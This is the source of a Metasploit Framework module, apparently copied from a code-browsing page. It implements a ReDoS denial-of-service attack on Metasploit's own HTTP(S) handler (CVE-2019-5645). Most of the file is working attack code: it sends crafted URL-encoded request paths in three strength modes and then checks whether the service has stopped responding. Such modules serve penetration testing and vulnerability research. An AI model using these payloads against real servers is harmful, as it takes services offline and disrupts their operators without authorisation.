Path: blob/master/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Metasploit HTTP(S) handler DoS',14'Description' => %q{15This module exploits the Metasploit HTTP(S) handler by sending16a specially crafted HTTP request that gets added as a resource handler.17Resources (which come from the external connections) are evaluated as RegEx18in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS.1920Tested against Metasploit 5.0.20.21},22'Author' => [23'Jose Garduno, Dreamlab Technologies AG', # Vulnerability Discovery, Metasploit module.24'Angelo Seiler, Dreamlab Technologies AG', # Additional research, debugging.25],26'License' => MSF_LICENSE,27'References' => [28['CVE', '2019-5645']29],30'DisclosureDate' => '2019-09-04',31'Notes' => {32'Stability' => [CRASH_SERVICE_DOWN],33'SideEffects' => [],34'Reliability' => []35}36)37)3839register_options(40[41OptEnum.new('DOSTYPE', [true, 'Type of DoS to trigger', 'HARD', %w[GENTLE SOFT HARD]])42]43)44end4546def test_service_unresponsive47print_status('Testing for service unresponsiveness.')4849res = send_request_cgi({50'uri' => '/' + Rex::Text.rand_text_alpha(8),51'method' => 'GET'52})5354if res.nil?55print_good('SUCCESS, Service not responding.')56else57print_error('Service responded with a valid HTTP Response; Attack failed.')58end59rescue ::Rex::ConnectionRefused60print_error('An unknown error occurred.')61rescue ::Timeout::Error62print_good('HTTP request timed out, most likely the ReDoS attack was successful.')63end6465def dos66case datastore['DOSTYPE']67when 'HARD'68send_request_cgi(69'method' => 'GET',70'uri' => normalize_uri('/%2f%26%28%21%7c%23%2b%29%2b%40%32%30')71)72begin73send_request_cgi(74'method' => 'GET',75'uri' => normalize_uri('/%26%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%21')76)77rescue ::Errno::EPIPE, ::Timeout::Error78# Same exceptions the HttpClient mixin catches79end80test_service_unresponsive8182when 'SOFT'83send_request_cgi(84'method' => 'GET',85'uri' => normalize_uri('/%5b20')86)8788test_service_unresponsive8990when 'GENTLE'91send_request_cgi(92'method' => 'GET',93'uri' => normalize_uri('/%2e%2a%7c%32%30%7c%5c')94)9596sleep(1)9798send_request_cgi(99'method' => 'GET',100'uri' => normalize_uri('/whatever')101)102103resthree = send_request_cgi(104'method' => 'GET',105'uri' => normalize_uri('/whatever2')106)107108if resthree.body.empty?109print_good('SUCCESS, Service not responding.')110else111print_error('Service responded with a valid HTTP Response; Attack failed.')112end113114else115fail_with Failure::BadConfig, 'Invalid DOSTYPE selected'116end117118print_status('DOS request sent')119end120121def is_alive?122begin123connect124rescue Rex::ConnectionRefused125return false126ensure127disconnect128end129true130end131132def run133print_status("#{rhost}:#{rport} - Sending DoS packet...")134dos135end136137end138139140